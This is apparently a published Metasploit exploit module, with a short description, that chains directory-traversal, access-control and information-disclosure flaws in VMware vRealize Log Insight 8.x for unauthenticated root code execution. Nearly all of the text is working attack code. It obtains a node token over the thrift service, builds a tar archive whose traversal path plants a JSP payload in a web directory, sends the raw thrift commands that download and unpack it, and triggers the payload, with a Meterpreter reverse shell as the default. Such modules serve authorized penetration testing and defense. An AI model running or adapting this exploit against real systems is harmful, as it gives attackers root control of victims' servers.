Authored by Ege Balci, Horizon3.ai Attack Team | Site metasploit.com

VMware vRealize Log Insights versions 8.x contain multiple vulnerabilities, such as directory traversal, broken access control, deserialization, and information disclosure. When chained together, these vulnerabilities allow a remote, unauthenticated attacker to execute arbitrary commands on the underlying operating system as the root user. This Metasploit module achieves code execution via triggering a RemotePakDownloadCommand command via the exposed thrift service after obtaining the node token by calling a GetConfigRequest thrift command. After the download, it will trigger a PakUpgradeCommand for processing the specially crafted PAK archive, which then will place the JSP payload under a certain API endpoint (pre-authenticated) location upon extraction for gaining remote code execution. Successfully tested against version 8.0.2.

advisories | CVE-2022-31704, CVE-2022-31706, CVE-2022-31711

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/proto/thrift'
require 'rex/stopwatch'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::CmdStager::HTTP
include Msf::Exploit::Retry
include Msf::Exploit::FileDropper # includes register_files_for_cleanup
prepend Msf::Exploit::Remote::AutoCheck

Thrift = Rex::Proto::Thrift

def initialize(info = {})
super(
update_info(
info,
'Name' => 'VMware vRealize Log Insight Unauthenticated RCE',
'Description' => %q{
VMware vRealize Log Insights versions v8.x contains multiple vulnerabilities, such as
directory traversal, broken access control, deserialization, and information disclosure.
When chained together, these vulnerabilities allow a remote, unauthenticated attacker to
execute arbitrary commands on the underlying operating system as the root user.

This module achieves code execution via triggering a `RemotePakDownloadCommand` command
via the exposed thrift service after obtaining the node token by calling a `GetConfigRequest`
thrift command. After the download, it will trigger a `PakUpgradeCommand` for processing the
specially crafted PAK archive, which then will place the JSP payload under a certain API
endpoint (pre-authenticated) location upon extraction for gaining remote code execution.

Successfully tested against version 8.0.2.
},
'License' => MSF_LICENSE,
'Author' => [
'Horizon3.ai Attack Team', # Original POC & analysis
'Ege BALCI <egebalci[at]pm.me>', # Metasploit Module
],
'References' => [
['ZDI', '23-116'],
['ZDI', '23-115'],
['CVE', '2022-31706'],
['CVE', '2022-31704'],
['CVE', '2022-31711'],
['URL', 'https://www.horizon3.ai/vmware-vrealize-log-insight-vmsa-2023-0001-technical-deep-dive'],
['URL', 'https://www.vmware.com/security/advisories/VMSA-2023-0001.html'],
],
'DisclosureDate' => '2023-01-24',
'Platform' => %w[unix linux],
'Arch' => [ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
[
'VMware vRealize Log Insight < v8.10.2',
{
'Platform' => 'linux',
'Arch' => [ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {
'SSL' => true,
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
'PrependFork' => true
}
}
]
],
'DefaultTarget' => 0,
'Payload' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
'WfsDelay' => 15
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options(
[
Opt::RPORT(443),
OptPort.new('THRIFT_PORT', [true, 'Thrift service port', 16520]),
OptInt.new('THRIFT_TIMEOUT', [true, 'Timeout duration for thrift service', 10]),
OptString.new('TARGETURI', [true, 'The URI of the VRLI web service', '/'])
]
)

register_advanced_options(
[
OptInt.new('WaitForResponseTimeout', [ true, 'The timeout in seconds for RemotePakDownload response', 10 ]),
OptInt.new('WaitForUpgradeDuration', [ true, 'The sleep duration in seconds for PakUpgrade process', 2 ])
]
)
end

def check
print_status "Checking if #{peer} can be exploited."
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'i18n', 'component'),
'method' => 'GET'
})
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200
translation = JSON.parse(res.body.gsub(/^.+= /, '').gsub(/;/, ''))
return Exploit::CheckCode::Unknown if translation.nil? || !translation.key?('version')

version = Rex::Version.new(translation['version'])
if version <= Rex::Version.new('8.10') && version >= Rex::Version.new('8.0') # This is not exactly the product version but we can use it
return Exploit::CheckCode::Appears("VMware XRLI Version: #{translation['version']}")
end

Exploit::CheckCode::Safe
end

def generate_malicious_tar
mf_file = <<~EOF.strip
{
"CHECKSUMS": [
{
"CHECKSUM": "407791f5831c4f5321cda36ff2e3b63da2819354",#{' '}
"FILE_NAME": "eula.txt"
},#{' '}
{
"CHECKSUM": "8ab2c0a6d01a36d0daad230dbcb229f1b87154e6",#{' '}
"FILE_NAME": "cn_eula.txt"
},#{' '}
{
"CHECKSUM": "8ca69bdc2ddda5228e893c4843d9f4afc0790247",#{' '}
"FILE_NAME": "de_eula.txt"
},#{' '}
{
"CHECKSUM": "4278004a1f2a7a3f2d9310983679868ebe19e088",#{' '}
"FILE_NAME": "es_eula.txt"
},#{' '}
{
"CHECKSUM": "95280fd7033b59094703a29cc5d6ff803c5725af",#{' '}
"FILE_NAME": "fr_eula.txt"
},#{' '}
{
"CHECKSUM": "f8ee67f279b7f56c953daa737bbbaad3f0cb719d",#{' '}
"FILE_NAME": "ja_eula.txt"
},#{' '}
{
"CHECKSUM": "aaa14f774fc9fe487ae8fea59adfca532928f4a2",#{' '}
"FILE_NAME": "ko_eula.txt"
},#{' '}
{
"CHECKSUM": "d7003b652dd28d28af310c652e2a164acaf17580",#{' '}
"FILE_NAME": "tw_eula.txt"
},#{' '}
{
"CHECKSUM": "b0034c7f14876be3b6a85bde0322c83b78027d70",#{' '}
"FILE_NAME": "upgrade-driver"
},#{' '}
{
"CHECKSUM": "b906d570101d29646966435d2bed8479f4437216",#{' '}
"FILE_NAME": "upgrade-image-8.10.2-21145187.rpm"
}
],#{' '}
"FROM_VERSION": "8.8.0-0",#{' '}
"REQUIRED_SPACE": "1073741824",#{' '}
"RPM_INFO": {
"KEY_LIST": [],#{' '}
"REBOOT": "False",#{' '}
"RPM_LIST": [
{
"ARGUMENTS": [
"--nodeps"
],#{' '}
"FILE_NAME": "upgrade-image-8.10.2-21145187.rpm",#{' '}
"OPTION": "INSTALL_OR_UPGRADE"
}
]
},#{' '}
"TO_VERSION": "8.10.2-21145187"
}
EOF

cert_file = <<~CERT
SHA1(VMware-vRealize-Log-Insight.mf)= 9869831f4522f9aaaf2f71b54267c487a20c0d46f4dc884b56a2c77ea971aabd2839a39b22b0a864fa1825c7a637f25c85b99cfb9bf528990b7692cc5d526398fa6000809a94baaf9edcf20fab919f866014745bbf0a2cabadd76b8b6ec0ef862b803039021a4ebed2632bdecf2b77c60389e31f093ad010abeb33de1e95e59cb66a15c019b35453d71484e13f728fa74736bbe4cde37feddacef021feb0023b052ca00dd4563f4424e6387c33ffa166fb0331581a3889be4f2515512f1f15ea5d56aa43fe6a8d9b347b242edf2276eba7b055b8463f1151eab84d97d4d58bef4708080dbf0b96d4783ca8b596467a8965b91c2fddf1da549c0df34aa457f776
-----BEGIN CERTIFICATE-----
MIIDyzCCArOgAwIBAgIJAKH7xLtwMqSZMA0GCSqGSIb3DQEBBQUAME0xCzAJBgNV
BAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRIwEAYDVQQHEwlQYWxvIEFsdG8x
FTATBgNVBAoTDFZNd2FyZSwgSW5jLjAeFw0xMDAyMjYyMjE3NDFaFw0yNjAxMDMy
MjE3NDFaME0xCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRIwEAYD
VQQHEwlQYWxvIEFsdG8xFTATBgNVBAoTDFZNd2FyZSwgSW5jLjCCASAwDQYJKoZI
hvcNAQEBBQADggENADCCAQgCggEBALU9NUtC39fqG7yo2XAswUmtli9uA+31uAMw
9FFHAEv/it8pzBQZ/4r+2bN+GnXOWhuDd1K4ApKMRvoO4LwQfZxrkx4pXrsu0gdb
4OunHw0D8MrdzSoob8Js/uq+IJ+8Bhsc6b7RzTUt9HeDWzHasAJVgMsjehGt23ay
9FKOT6dVD6D/Xi3qJnB/4t/XNS6L63dC3ea4guzKDyLaXIP5bf/m56jvVImFjhhT
W2ASbnEUlZIVrEuyVcdG7e3FvZufE553JmHL0YG/0m5bIHXKRzBRx0D3HHOAzOKw
kkOnxJHSTN4Hz8hSYCWvzUAjSYL3Q8qiTd7GHJ2ynsRnu3KlzKUCAQOjga8wgaww
HQYDVR0OBBYEFHg8KQJdm8NPQDmYP41uEgKG+VNwMH0GA1UdIwR2MHSAFHg8KQJd
m8NPQDmYP41uEgKG+VNwoVGkTzBNMQswCQYDVQQGEwJVUzETMBEGA1UECBMKQ2Fs
aWZvcm5pYTESMBAGA1UEBxMJUGFsbyBBbHRvMRUwEwYDVQQKEwxWTXdhcmUsIElu
Yy6CCQCh+8S7cDKkmTAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBBQUAA4IBAQCP
nVEBVF2jYEsgaTJ1v17HNTVTD5pBPfbQk/2vYVZEWL20PtJuLeSWwoo5+TnCSp69
i9n1Hpm9JWHjyb1Lba8Xx7VC4FferIyxt0ivRm9l9ouo/pQAR8xyqjTg1qfr5V8S
fZElKbjpzSMPrxLwF77h+YB+YjqWAJpVV+fAkAvK7K9vMiFgW60teZBxVW/XlmG0
IJaSUWSI3/A+bA6fuIy8PMmpQMtm0droHrCnViAVRhMMgEC/doMH1GqUSmoiyQ1G
PifLAp5wV5/HV+S9AGrb8HGdWIvW+kBgmCl0wSf2JFYm1bpq30CVE4EC0MAY1mJG
vSqQGIbCybw5KTCXRQ8d
-----END CERTIFICATE-----
CERT

# Generate a TAR archive with dir traversal...
print_status 'Encoding the payload as JSP'
payload_jsp = Msf::Util::EXE.to_jsp(generate_payload_exe)
jsp_name = 'api-v5-documentation.jsp' # version number can be randomized
slip_name = "../../usr/lib/loginsight/application/3rd_party/apache-tomcat-8.5.82/webapps/ROOT/loginsight/api/#{jsp_name}"
register_files_for_cleanup(slip_name.gsub('../..', ''))
rand_data = Rex::Text.rand_text_alpha(35000..36000) # For realistic packet size
dummy_files = ['upgrade-image-8.10.2-21145187.rpm', 'upgrade-driver', 'eula.txt'] # Dummy but also necessary

tar = StringIO.new
Rex::Tar::Writer.new(tar) do |t|
dummy_files.each do |dum|
t.add_file(dum, 0o644) do |f|
f.write(rand_data)
end
end
t.add_file('VMware-vRealize-Log-Insight.cert', 0o644) do |crt| # We actually need the content of these files
crt.write(cert_file)
end
t.add_file('VMware-vRealize-Log-Insight.mf', 0o644) do |mf|
mf.write(mf_file)
end
t.add_file(slip_name, 0o644) do |f|
f.write(payload_jsp)
end
end
tar.seek(0)
data = tar.read
tar.close
data
end

def on_request_uri(cli, _request)
payload_tar = generate_malicious_tar
print_status "Malicious TAR payload created (#{payload_tar.length} bytes)"
print_good("Payload requested by #{peer}, sending...")
@got_request = true
send_response(cli, payload_tar)
end

def exploit
# This is important check...
fail_with(Failure::BadConfig, 'SRVHOST can't be localhost') if datastore['SRVHOST'] =~ /(127|0).0.0.(0|1)|localhost/

# Step 1 generate malicious TAR archive
file_name = Rex::Text.rand_text_alpha(7)
pak_name = "#{file_name}.pak"
output_file = '/dev/null'
register_files_for_cleanup("/tmp/#{pak_name}")
print_status('Starting Payload Server')
start_service('Path' => "/#{file_name}.tar")

# Connect to the Apache Thrift service
@tsock = Rex::Socket.create_tcp('PeerHost' => datastore['RHOST'], 'PeerPort' => datastore['THRIFT_PORT'])
fail_with(Failure::Unreachable, "#{peer}:#{datastore['THRIFT_PORT']} - Could not connect to the thrift service") if @tsock.nil?

# Step 2 obtain node token
print_status 'Fetching thrift config...'
send_request([
Thrift::ThriftHeader.new(method_name: 'getConfig', message_type: Thrift::ThriftMessageType::CALL)
].map(&:to_binary_s).join + "x0cx00x01x00x00")

config = recv_response(datastore['THRIFT_TIMEOUT'])
fail_with(Failure::UnexpectedReply, 'getConfig thrift call failed') if config.nil?
token = config.match(/[0-9a-z]{8}-([0-9a-z]{4}-){3}[0-9a-z]{12}/).to_s
fail_with(Failure::UnexpectedReply, 'Could not obtain node token') if token.nil? || token.empty?
print_good "Obtained node token: #{token}"

print_status 'Sending getNodeType...'
send_request([
Thrift::ThriftHeader.new(method_name: 'getNodeType', message_type: Thrift::ThriftMessageType::CALL)
].map(&:to_binary_s).join + "x00")

# Step 3 download the malicious pak
serve_address = "http://#{Rex::Socket.to_authority(datastore['SRVHOST'], datastore['SRVPORT'])}/#{file_name}.tar"
print_status 'Sending RemotePakDownloadCommand...'
download_pak_req = "x80x01x00x01"
download_pak_req += "x00x00x00x0ax72x75x6ex43"
download_pak_req += "x6fx6dx6dx61x6ex64x00x00"
download_pak_req += "x00x00x0cx00x01x0cx00x01"
download_pak_req += "x08x00x01x00x00x00x09x0c"
download_pak_req += "x00x0ax0bx00x01"
download_pak_req += [token.length].pack('N') + token + "x0bx00x02"
download_pak_req += [serve_address.length].pack('N') + serve_address # "x00x00x00x24" + serve_address
download_pak_req += "x0bx00x03" + [file_name.length].pack('N') + file_name
download_pak_req += "x00x00x0ax00x02x00x00"
download_pak_req += "x00x00x00x00x07xd0x00x00"
send_request(download_pak_req)
download_resp = recv_response(datastore['THRIFT_TIMEOUT'])
fail_with(Failure::UnexpectedReply, 'RemotePakDownloadCommand thrift call failed') if download_resp.nil?
retry_until_truthy(timeout: datastore['ReconnectTimeout'].to_i) do
@got_request
end

# Step 4 trigger pak upgrade
print_status 'Sending PakUpgradeCommand...'
pak_upgrade_req = "x80x01x00x01"
pak_upgrade_req += "x00x00x00x0ax72x75x6ex43"
pak_upgrade_req += "x6fx6dx6dx61x6ex64x00x00"
pak_upgrade_req += "x00x00x0cx00x01x0cx00x01"
pak_upgrade_req += "x08x00x01x00x00x00x08x0c"
pak_upgrade_req += "x00x09x0bx00x01" + [pak_name.length].pack('N')
pak_upgrade_req += pak_name + "x02x00x02x00"
pak_upgrade_req += "x0bx00x03" + [output_file.length].pack('N') + + output_file
pak_upgrade_req += "x02x00x04x00"
pak_upgrade_req += "x0bx00x05x00x00x00x03x65"
pak_upgrade_req += "x6ex67x02x00x06x00x00x00"
pak_upgrade_req += "x0ax00x02x00x00x00x00x00"
pak_upgrade_req += "x00x07xd0x00x00"
send_request(pak_upgrade_req)
upgrade_resp = recv_response(datastore['THRIFT_TIMEOUT'])
fail_with(Failure::UnexpectedReply, 'PakUpgradeCommand thrift call failed') if upgrade_resp.nil? || !upgrade_resp.to_s =~ 'The PAK file is corrupted'
print_good 'PakUpgrade request is successful'
print_status "Waiting #{datastore['WaitForUpgradeDuration']} second for PakUpgrade..."
sleep(datastore['WaitForUpgradeDuration'])

# Step 5 trigger the JSP payload.
print_status "#{peer} - Triggering JSP payload..."
disconnect

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'rest-api', 'v5'),
'method' => 'GET'
})
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200
end

def send_request(request)
@tsock.put([request.length].pack('N') + request)
end

def recv_response(timeout)
remaining = timeout
res_size, elapsed = Rex::Stopwatch.elapsed_time do
@tsock.timed_read(4, remaining)
end

remaining -= elapsed
return nil if res_size.nil? || res_size.length != 4 || remaining <= 0

res = @tsock.timed_read(res_size.unpack1('N'), remaining)

return nil if res.nil? || res.length != res_size.unpack1('N')

return res_size + res
rescue Timeout::Error
return nil
end
end